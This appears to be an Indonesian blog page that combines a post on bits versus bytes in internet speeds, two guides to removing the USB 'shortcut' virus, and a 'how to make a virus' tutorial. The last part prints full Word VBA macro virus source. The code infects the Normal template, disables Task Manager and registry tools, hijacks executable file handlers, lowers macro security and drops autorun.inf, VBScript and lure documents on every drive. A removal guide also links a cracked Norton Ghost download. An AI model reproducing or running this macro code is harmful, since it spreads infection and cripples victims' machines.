Pada dasarnya KBps dan Kbps merupakan satuan yg sangat berbeda. pernah liat kan iklan promosi para ISP (Speedot, IM*, atau Tel*sel Flash) yg menawarkan speed inet mulai up to 128 Kbps – 7.2 Mbps?? Tapi kenapa pas donlot real gak prnah dapet segitu ya?? kenapa gtu ??
Berikut penjelasan detailnya:
* KBps (Kilobyte per second)
* Kbps (Kilobit per second)
Konversi 1 byte = 8 bit

Untuk mengetahui speed download realnya, gampangkan, tinggal dibagi aja speed yg d kasih ISP dgn angka 8 (Delapan)
Berikut listnya:
128 Kbps: 128/8= 16 KBps
256 Kbps: 256/8= 32KBps
384 Kbps: 384/8= 48 KBps
512 Kbps: 512/8= 64 KBps
1 Mbps : 1024/8= 128 KBps
Hal ini sering menimbulkan pertanyaan “katanya 256 kbps kok dapatnya waktu download cuman 32 KBps ? Kalau dijabarkan,
Jika 1 Byte = 8 bit artinya bila berlangganan 1 Mbps Dedicated dan dapatnya adalah 128 KBps x 8 = 1024 Kbps / 1 Mbps
Jika kecepatan 256 kbps maka yang didapat adalah 256/8= 32 KBps
Jika kecepatan 384 kbps maka yang didapat adalah 384/8= 48 KBps
Semoga bermanfaat :)

byte-bit
Inget dulu pas waktu kuliah, kalo ga salah jaman mata kuliah sistem berkas. Waktu itu ditanya
Apa bedanya bit dengan byte? Namanya juga mashiswa cupu, pada bengong aja :D . Sampai sekarang, kedua istilah itu kadang kita dengar, terutama dalam hal koneksi internet/ kecepatan / bandwith dll.

Sering orang bicara “kecepatan internetku 384kbps tapi ko download cuma 30-40kbps ya?”
Sebenarnya kedua istilah itu apa sih? Kalau saya ambil dari wikipedia,
bita (Bahasa Inggris: byte) adalah istilah yang biasa dipergunakan sebagai satuan dari penyimpanan data dalam komputer. Satu bita terdiri dari delapan bit.
Huruf B digunakan dalam singkatan kepada byte. (bit menggunakan singkatan b.) seperti kB = kilobita. Cakram keras (hard disk) berkapasitas 40GB secara mudahnya bermaksud cakram keras tersebut mampu menyimpan hingga 40 ribu juta (milyar) bita atau gigabita data.
Jadi Byte dengan bit adalah berbeda. Biasanya kecepatan internet ditawarkan 384kbps, berarti untuk kecepatan dalam Byte adalah 384 / 8 = 48 kBps artinya dalam satu detik, dapat menghantarkan data sebesar 48 kilo byte.
Contoh perhitungan Byte dan bit
Misalkan anda memiliki sebuah file yang terdiri dari 100.000 kata dan anda ingin tahu berapa lama kita bisa mendownload file tersebut melalui internet yang memiliki koneksi 33.600 bps.
Asumsikan dalam setiap kata terdiri dari 5 huruf/karakter. Berarti jika ada 100.000 kata, maka anda memiliki 500.000 huruf/karakter:
Setiap karakter terdiri dari 1 Byte, berarti anda memiliki 500.000 Byte
Setiap Byte terdiri dari 8 bit, berarti 500.000 Byte yang anda miliki bernilai 500.000 x 8 = 4.000.000 bit
Selanjutnya 4.000.000 bit yang anda miliki dibagi dengan 33.600 = 119 detik
Artinya waktu anda untuk mendownload file yang memiliki 100.000 kata kurang lebih 119 detik (2 menit) dengan kecepatan akses 33.600 bps
Dalam jaringan komputer, biasanya Byte dan bit dipakai utk menggambarkan kecepatan transfer/download data.
Satuan KBps (KiloByte/second) dipakai jika data di sini secara umum memakai Byte untuk satuannya (contohnya seperti protokol-protokol yang ada pada level aplikasi seperti http,ftp,smtp,dsb).
Sedangkan kbps (kilobit/second) dipakai jika data yang ditransfer memakai bit untuk satuannya (contohnya adalah protokol-protokol layer 2 ke bawah seperti ethernet yang mentransfer data dalam frame-frame).
Itu sebabnya kecepatan sebuah modem tertulis = 33.6 kb/s (karena modem termasuk dalam protokol layer 2 kebawah seperti halnya ethernet), sedangkan saat kita mendownload sebuah file, maka browser akan memperlihatkan (misal) 3 KB/s (karena browser terkoneksi dengan protokol http/ftp).
Mengapa 1 Byte = 8 bit ?
Ada dua cerita. Pertama, saat masih jaman punch card (kartu berlubang). Kedua, saat jaman pertama munculnya teknologi prosesor yang berbasis 8 bit.
Cerita pertama. Punch card teknologi terakhir mampu menangani karakter sejumlah 64 karakter dimana tiap karakter dikodekan dalam susunan 8 kombinasi lubang. IBM, selaku produsen mesin punch card, menyebut kombinasi 8 lubang tsb dengan ‘byte’ yang katanya semakna dengan ‘octet’. Meskipun begitu, kombinasinya masih belum dalam format ASCII karena waktu itu memang belum ada standarisasi ASCII.
Cerita kedua, lanjutan dari cerita pertama. Teknologi punch card ini kemudian berkembang menjadi teknologi prosesor yang saat itu baru mampu bekerja dalam kombinasi biner 8 digit. Maka diadopsilah kombinasi 8 lubang punch card ke dalam biner 8 digit yang semakin ‘menguatkan’ istilah ‘byte’.
Demikianlah, akhirnya ‘byte’ kemudian dipake sebagai satuan 8 digit biner. Sehingga walaupun teknologi prosesor berkembang hingga mampu bekerja dalam 16 digit, tetap disebut sebagai 2 byte.
Kemudian, sekedar menambah informasi. Karakter ada dua jenis, yaitu singlecode character dan unicode character. Keterbatasan standar ASCII yang hanya mengenali sejumlah 256 karakter tidak lagi mencukupi kebutuhan perkembangan IT yang semakin mendunia. Pada awalnya, hal ini diatasi dengan mengembangkan character encoding yang memetakan ulang 256 karakter untuk wilayah2 tertentu. Misalnya, di Asia karakter ke-60 adalah ‘A’, tapi di Eropa karakter ke-60 adalah ‘À’. Tapi ini jadi masalah saat tulisan Eropa (dengan encoding Eropa) mau dibaca di Asia (dengan encoding Asia) karena tulisannya jadi kacau balau. Karena itu dikembangkanlah standar baru yang disebut unicode character dimana satu karakter tidak lagi diwakili 1 byte, melainkan 2 byte.
(sumber : http://patembe.com/2009/07/26/perbedaan-antara-byte-dan-bit/)
Semoga dengan sedikit tulisan ini, kita tidak salah kaprah lagi dalam menggunakan istilah Byte Bit Kbps Kbps

Source : http://blankc0de.us


Thank you for your NICE attention..

Cara Menghapus Virus Shortcut

Berikut 8 langkah praktis untuk mendepak virus yang mampu mengubah folder yang ada di dalam USB flash disk menjadi shortcut tersebut:
1. Nonaktifkan ‘System Restore’ untuk sementara selama proses pembersihan.
2. Putuskan komputer yang akan dibersihkan dari jaringan.
3. Matikan proses virus yang aktif di memori dengan menggunakan tools ‘Ice Sword’. Setelah tools tersebut terinstal, pilih file yang mempunyai icon ‘Microsoft Visual Basic Project’ kemudian klik ‘Terminate Process’. Silahkan download tools tersebut di http://icesword.en.softonic.com/
4. Hapus registri yang sudah dibuat oleh virus dengan cara:
-. Klik menu [Start]
-. Klik [Run]
-. Ketik REGEDIT.exe, kemudian klik tombol [OK]
-. Pada aplikasi Registry Editor, telusuri key [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
-. Kemudian hapus key yang mempunyai data [C:\Document and Settings\%user%].
5. Disable autoplay/autorun Windows. Copy script di bawah ini pada program notepad kemudian simpan dengan nama REPAIR.INF, install file tersebut dengan cara: Klik kanan REPAIR.INF –> INSTALL
[Version]
Signature=”$Chicago$”
Provider=Vaksincom
[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del
[UnhookRegKey]
HKLM, Software\CLASSES\batfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\comfile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\exefile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\piffile\shell\open\command,,,”"”%1″” %*”
HKLM, Software\CLASSES\regfile\shell\open\command,,,”regedit.exe “%1″”
HKLM, Software\CLASSES\scrfile\shell\open\command,,,”"”%1″” %*”
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer, NoDriveTypeAutoRun,0x000000ff,255
6. Hapus File induk dan file duplikat yang dibuat oleh virus termasuk di flash disk. Untuk mempercepat proses pencarian, Anda dapat menggunakan fungsi ‘Search’. Sebelum melakukan pencarian sebaiknya tampilkan semua file yang tersembunyi dengan mengubah pada setting Folder Options.
Jangan sampai terjadi kesalahan pada saat menghapus file induk maupun file duplikat yang telah dibuat oleh virus. Lalu hapus file induk virus yang mempunyai ciri-ciri:
-. Icon ‘Microsoft Visual Basic Project’.
-. Ukuran File 128 KB (untuk varian lain akan mempunyai ukuran yang bervariasi).
-. Ekstesi file ‘.EXE’ atau ‘.SCR’.
-. Type file ‘Application’ atau ‘Screen Saver’.
Kemudian hapus File duplikat shortcut yang mempunyai ciri-ciri:
>. Icon Folder atau icon
>. Ekstensi .LNK
>. Type File ‘Shortcut’
>. Ukuran file 1 KB
Hapus juga file yang .DLL (contoh: ert.dll) dan file Autorun.inf di flash disk atau folder yang di-share. Sementara untuk menghindari virus tersebut aktif kembali, hapus file induk yang mempunyai ekstensi EXE atau SCR terlebih dahulu baru kemudian hapus file Shortcut (.LNK).
7. Tampilkan kembali folder yang telah disembunyikan oleh virus. Untuk mempercepat proses tersebut, silahkan download tools UnHide File and Folder di http://www.flashshare.com/bfu/download.html.
Setelah diinstall, pilih direktori [C:\Documents and settings] dan folder yang ada di flash disk dengan cara menggeser ke kolom yang sudah tersedia. Pada menu [Attributes] kosongkan semua pilihan yang ada, kemudian klik tombol [Change Attributes].
8. Install security patch ‘Microsoft Windows Shell shortcut handling remote code execution vulnerability-MS10-046′. Silakan download security patch tersebut di http://www.microsoft.com/technet/security/Bulletin/MS10-046.mspx
Seperti biasa, untuk pembersihan secara optimal dan menecegah infeksi ulang, sebaiknya install dan scan dengan antivirus yang up-to-date dan sudah dapat mendeteksi virus ini dengan baik.
Original source: vaksin[dot]com & detikinet[dot]com

CARA 2 MENGHAPUS VIRUS SHORTCUT:

Ciri-ciri virus shortcut :
Pertama-tama, setelah menginfeksi komputer, dia akan membuat file induk database.mdb di My Documents
Yang kedua adalah virus tersebut akan membuat file autorun.inf di setiap drive harddisk, flash disk, dan folder tanpa kecuali.
Yang ketiga adalah dia akan membuat file Thumb.db (hati-hati, perhatikan bahwa file ini tanpa huruf s sedangkan thumbnail cache yang asli di komputer memiliki tambahan huruf s alias thumbs.db) di setiap folder
Untuk memancing korban, dia akan membuat file Microsoft.lnk dan New Harry Potter and….lnk di setiap folder yang jika dieksekusi akan langsung mengaktifkan virus tersebut.
Seperti halnya virus-virus lokal lainnya, dia akan membuat duplikat setiap folder namun kali ini bukan dengan ekstensi .exe melainkan extensi .ink alias shortcut.
Pada task manager terdapat proses services wscript.exe yang sedang berjalan. Dalam kondisi normal, tidak ada proses seperti ini.
Langkah-langkah menghapus virus shortcut :
1. Matikan System Restore. Sejak dulu saya selalu mematikan system restore segera setelah proses instalasi windows. Untuk keperluan backup dan imaging system, saya lebih memilih menggunakan third party seperti acronis ataupun Norton Ghost (baca dan dowload : Norton Ghost 15.0.0.35659 (2010) Full Serial Crack)
2. Matikan proses virus wsrcipt.exe (C:\WINDOWS\System32\wscript.exe)
Bisa menggunakan Process Explorer atau misc. tool pada HijackThis (baca dan download : HijackThis 2.0.2 ).
3. Hapus file virus database.mdb di My Documents..
4. Hapus file duplikat virus..
Untuk proses penghapusan, anda bisa menggunakan fasilitas search pada Windows.. Pada “More advanced options”, pastikan option “Search system folders” dan “Search hidden files and folders” keduanya telah dicentang.
Search file dengan nama autorun.inf ukurannya 8 KB
Search file dengan nama Thumb.db ukurannya 8 KB
Search file dengan ekstensi .lnk.lnk ukurannya 1 KB
Hapus semua file yang ditemukan..
Untuk lebih memudahkan proses pencarian yang sekaligus menghapus file yang ditemukan, anda bisa menggunakan software UTool, sebuah freeware yang dapat anda download secara gratis. Program ini akan secara otomatis mencari dan kemudian menghapus file-file yang diinginkan (lihat gambar).
5. Hapus registry Autorun yang dibuat virus dengan menggunakan HijackThis..
Cari di bagian HKCU\..\Run: yang berhubungan dengan file database.mdb (pada gambar namun file database.mdb udah saya hapus)
regedit_run
Untuk lebih memantabkan proses pencegahan dan melindungi komputer kita dari serangan virus lokal yang sangat memusingkan ini, anda dapat melakukan hal-hal berikut:
1. Setelah proses instalasi windows, segera matikan system restore.
2. Install software third party misal Tweak UI atau Magic Tweak untuk mendisable autorun dan mencegah teraktivasinya file-file .inf. Mungkin pada Windows XP Professional, proses menon-aktifkan autorun bisa dilakukan dengan mudah, namun pada versi Win XP Home, anda memerlukan software ini. Tambahan informasi, program MagicTweak selain berfungsi menon-aktifkan autorn  dapat juga digunakan untuk mencegah dijalankannya file-file .inf File autorun.inf yang biasanya merupakan awal dari berjangkitnya virus akan secara otomatis diubah menjadi murni file txt alias notepad oleh program ini dan dia tidak lagi bisa dieksekusi. Ini sangat membantu jika memang secara tidak sengaja kita mengaktifkan atau mengeksekusi autorun.inf meski proses autorun sudah didisable untuk semua drive (termasuk flash disk).
3. Setelah semua proses instalasi windows, driver, program, dan lain-lain telah selesai, segera backup image system anda menggunakan software macam Acronis True Image atau Norton Ghost, sehingga jika nanti ada masalah yang tidak dapat anda selesaikan dengan mudah, anda dapat merestoreasi backup system tersebut.
4. Jika perlu, instal juga Deep Freeze apabila komputer anda digunakan oleh banyak orang, sehingga settingan komputer tidak akan berubah-ubah.
5. Update info: Ciri-ciri virus terdapatnya virus shortcut pada flashdisk dapat diketahui dengan perbedaan icon flashdisk tersebut yang biasanya berbentuk seperti icon drive menjadi berubah seperti icon folder. Jika menemui icon seperti ini, berarti dalam flashdisk tersebut terdapat virus. Gunakan explorer dan buka flashdisk lewat explorer (jangan klik 2x dari my computer) dan hapus file autorun dan file2 tersangka virus lainnya secara manual dengan menekan shift + DEL (supaya tidak tersangkut di recycle bin). Rata-rata virus lokal dapat dicegah dengan cara manual seperti ini asalkan OPSI DISABLE AUTORUN pada windows dan/atau MagicTweak telah diaktifkan, dan juga OPSI DISABLE .INF FILE pada MagicTweak telah diaktifkan.
Nah, itu mungkin sedikit tips cara menghapus virus shortcut dan smoga komputer kamu setelah hapus virus shortcut jadi bebas deh dari virus shortcut.

Original source: maswafa[dot]blogger[dot]com


Thank you for your NICE attention..

Cara Membuat Virus

Pendahuluan
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Cara Kerja
Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer tetapi dapat mengakibatkan kerusakan dengan cara memuat program yang memaksa over process ke perangkat tertentu. Efek negatif virus komputer adalah memperbanyak dirinya sendiri, yang membuat sumber daya pada komputer (seperti penggunaan memori) menjadi berkurang secara signifikan. Hampir 95% virus komputer berbasis sistem operasi Windows. Sisanya menyerang Linux/GNU, Mac, FreeBSD, OS/2 IBM, dan Sun Operating System. Virus yang ganas akan merusak perangkat keras.
(Baca: ilmu dalam tutorial ini untuk pembelajaran bukan untuk disalahgunakan)
Ini adalah tutorial saya yang kesekian kalinya dan mudah-mudahan tutorial kali ini bermanfaat untuk kalian.
Kali ini saya akan membahas mengenai virus macro… (para virus maker diharap untuk tenang dulu!).
Pasti banyak bertanya kenapa kali ini membahas tentang cara membuat virus? Biasanya kan lebih sering membahas analisis virus atau antivirusnya itu….
Yah kali ini memang agak berbeda. Selain untuk mencari suasana baru, aku juga agak tertantang dengan artikel yang saya buat ini.
Sebelum aku membuat artikel ini, aku sengaja mencari-cari kelemahan dari antivirusku sendiri (baca:Morphost). Ternyata aku lebih tertarik untuk membuat virus macro untuk mencari celah antivirusku itu. Untuk membuat artikel ini memang butuh pengorbanan juga. Soalnya komputerku jadi terinfeksi oleh virusku sendiri. Haaahhh…..

Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic macro di Microsoft Office. Kita ambil contoh, virus macro Word.
CARA MEMBUAT VIRUS
  1. Buka Ms.Word (hanya contoh)
  2. buka tools > Macro> Visual Basic Editor

  • Akan muncul gambar di bawah

Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak gambar seperti dibawah ini.


Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???
Tenang, aku dah siapkan kok sourcenya. Makan neh source code!
1
<span style="color: #ff0000;">This is my codes virus</span>
1
<span style="color: #ff0000;"></span>
1
<span style="color: #ff0000;">Macro Viruses</span>
1
<span style="color: #ff0000;">[Macroid]</span>
1
<span style="color: #ff0000;"></span>
1
<span style="color: #ff0000;">Hanya untuk pembelajaran</span>
1
<span style="color: #ff0000;">Private Sub Document_Close()</span>
1
<span style="color: #ff0000;">Dim AD, NT As Object</span>
1
<span style="color: #ff0000;">Dim isi As String</span>
1
<span style="color: #ff0000;">Set AD = ActiveDocument.VBProject.VBComponents.Item(1)</span>
1
<span style="color: #ff0000;">Set NT = NormalTemplate.VBProject.VBComponents.Item(1)</span>
1
<span style="color: #ff0000;">If AD.Name &lt;&gt; Macroid Then</span>
1
<span style="color: #ff0000;">AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines</span>
1
<span style="color: #ff0000;">AD.Name = Macroid</span>
1
<span style="color: #ff0000;">isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)</span>
1
<span style="color: #ff0000;">AD.CodeModule.AddFromString isi</span>
1
<span style="color: #ff0000;">ActiveDocument.Save</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">If NT.Name &lt;&gt; Macroid Then</span>
1
<span style="color: #ff0000;">NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines</span>
1
<span style="color: #ff0000;">NT.Name = Macroid</span>
1
<span style="color: #ff0000;">isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)</span>
1
<span style="color: #ff0000;">NT.CodeModule.AddFromString isi</span>
1
<span style="color: #ff0000;">NormalTemplate.Save</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">If InStr(ActiveDocument.Content, Macroid) = 0 Then</span>
1
<span style="color: #ff0000;">ActiveDocument.Content = [Macroid] &amp; vbCrLf &amp; ActiveDocument.Content &amp; vbCrLf &amp; vbCrLf &amp; vbCrLf &amp; [Macroid] by Morphic &amp; vbCrLf &amp; copyright(c) Medan Juli-2008</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">On Error Resume Next</span>
1
<span style="color: #ff0000;">Dim b As Object</span>
1
<span style="color: #ff0000;">Set b = CreateObject(Wscript.Shell)</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title, Browser Internet ini diambil alih oleh Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption, Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization, Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner, VM-Morphic</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText, Macroid-A. Eat this!!! Ha ha ha</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden, 2</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\, Tong Sampah Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\, Komputer Morphic</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\exefile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\comfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\txtfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\scrfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\batfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shell\, 0pen</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shellpen\, &amp;Open</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shellpen\command\, wscript.exe &amp; Environ$(windir) &amp; \avmc.vbs</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">On Error Resume Next</span>
1
<span style="color: #ff0000;">Dim rog As Integer</span>
1
<span style="color: #ff0000;">Dim atr, vbs, Tipu(10), Trik(10) As String</span>
1
<span style="color: #ff0000;">For a = 66 To 90</span>
1
<span style="color: #ff0000;">partisi = Chr$(a)</span>
1
<span style="color: #ff0000;">vbs = partisi &amp; :\auto.vbs</span>
1
<span style="color: #ff0000;">atr = partisi &amp; :\autorun.inf</span>
1
<span style="color: #ff0000;">Tipu(1) = partisi &amp; :\Soal SPMB 1995-2008.doc</span>
1
<span style="color: #ff0000;">Tipu(2) = partisi &amp; :\Kisah di balik HarryPotter.doc</span>
1
<span style="color: #ff0000;">Tipu(3) = partisi &amp; :\Titip File sebentar.doc</span>
1
<span style="color: #ff0000;">Tipu(4) = partisi &amp; :\jangan di baca.doc</span>
1
<span style="color: #ff0000;">Tipu(5) = partisi &amp; :\buku harian.doc</span>
1
<span style="color: #ff0000;">Tipu(6) = partisi &amp; :\cerita hangat.doc</span>
1
<span style="color: #ff0000;">Tipu(7) = partisi &amp; :\Punya Baim.doc</span>
1
<span style="color: #ff0000;">Tipu(8) = partisi &amp; :\Teka-teki yang baru.doc</span>
1
<span style="color: #ff0000;">Tipu(9) = partisi &amp; :\Kumpulan cerita lucu.doc</span>
1
<span style="color: #ff0000;">Tipu(10) = partisi &amp; :\Trik Sulap.doc</span>
1
<span style="color: #ff0000;">If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then</span>
1
<span style="color: #ff0000;">Randomize</span>
1
<span style="color: #ff0000;">rog = Int(10 * Rnd) + 1</span>
1
<span style="color: #ff0000;">Open Tipu(rog) For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, “”</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">Trik(1) = partisi &amp; :\Novel J.K.Rowling.doc</span>
1
<span style="color: #ff0000;">Trik(2) = partisi &amp; :\cerita cinta.doc</span>
1
<span style="color: #ff0000;">Trik(3) = partisi &amp; :\Ringkasan cerita HarryPotter.doc</span>
1
<span style="color: #ff0000;">Trik(4) = partisi &amp; :\Semua Cheat game DOTA.doc</span>
1
<span style="color: #ff0000;">Trik(5) = partisi &amp; :\Kumpulan Cheat game.doc</span>
1
<span style="color: #ff0000;">Trik(6) = partisi &amp; :\Cheat game RF.doc</span>
1
<span style="color: #ff0000;">Trik(7) = partisi &amp; :\Cheat game Ayo Dance.doc</span>
1
<span style="color: #ff0000;">Trik(8) = partisi &amp; :\Goosebumps.doc</span>
1
<span style="color: #ff0000;">Trik(9) = partisi &amp; :\FearStreet.doc</span>
1
<span style="color: #ff0000;">Trik(10) = partisi &amp; :\R.L.Stine.doc</span>
1
<span style="color: #ff0000;">If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then</span>
1
<span style="color: #ff0000;">Randomize</span>
1
<span style="color: #ff0000;">rogi = Int(10 * Rnd) + 1</span>
1
<span style="color: #ff0000;">Open Trik(rogi) For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, “”</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">Open atr For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, [Autorun]</span>
1
<span style="color: #ff0000;">Print #1, shell\Open\command=wscript.exe auto.vbs</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">SetAttr atr, vbHidden + vbSystem</span>
1
<span style="color: #ff0000;">Open vbs For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, dim a</span>
1
<span style="color: #ff0000;">Print #1, set a = createobject( &amp; Chr(34) &amp; Wscript.shell &amp; Chr(34) &amp; )</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\10.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\11.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\12.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">SetAttr vbs, vbHidden + vbSystem</span>
1
<span style="color: #ff0000;">Next a</span>
1
<span style="color: #ff0000;">If Dir(Environ$(windir) &amp; \Macroid.doc) = “” Then</span>
1
<span style="color: #ff0000;">Dim isicrita As String</span>
1
<span style="color: #ff0000;">isicrita = [Macroid] by Morphic &amp; vbCrLf &amp; Copyright(c) Medan Juli-2008 &amp; vbCrLf &amp; vbCrLf &amp; _</span>
1
<span style="color: #ff0000;">Chr(34) &amp; Ms.Word is a thing that can be used as a power to break everything. &amp; Chr(34) &amp; vbCrLf &amp; (Morphic)</span>
1
<span style="color: #ff0000;">Open Environ$(windir) &amp; \Macroid.doc For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, isicrita</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">If Dir(Environ$(windir) &amp; \avmc.vbs) = “” Then</span>
1
<span style="color: #ff0000;">Open Environ$(windir) &amp; \avmc.vbs For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, set fs = createobject( &amp; Chr(34) &amp; Scripting.FileSystemObject &amp; Chr(34) &amp; )</span>
1
<span style="color: #ff0000;">Print #1, for each FD in fs.drives</span>
1
<span style="color: #ff0000;">Print #1, if (FD.Drivetype = 1) and FD.Path &lt;&gt; &amp; Chr(34) &amp; A: &amp; Chr(34) &amp; then</span>
1
<span style="color: #ff0000;">Print #1, set tf = fs.CreateTextFile(FD.Path &amp; Chr(38) &amp; Chr(34) &amp; \Jangan di baca.doc &amp; Chr(34) &amp; )</span>
1
<span style="color: #ff0000;">Print #1, end if</span>
1
<span style="color: #ff0000;">Print #1, Next</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">ActiveDocument.Save</span>
1
<span style="color: #ff0000;">NormalTemplate.Save</span>
1
<span style="color: #ff0000;">End Sub</span>
1
<span style="color: #ff0000;">Private Sub Document_Open()</span>
1
<span style="color: #ff0000;">CommandBars(Tools).Controls(Macro).Visible = False</span>
1
<span style="color: #ff0000;">CommandBars(Tools).Controls(Macro).Enabled = False</span>
1
<span style="color: #ff0000;">CommandBars(Tools).Controls(Customize…”).Visible = False</span>
1
<span style="color: #ff0000;">CommandBars(Tools).Controls(Options…”).Visible = False</span>
1
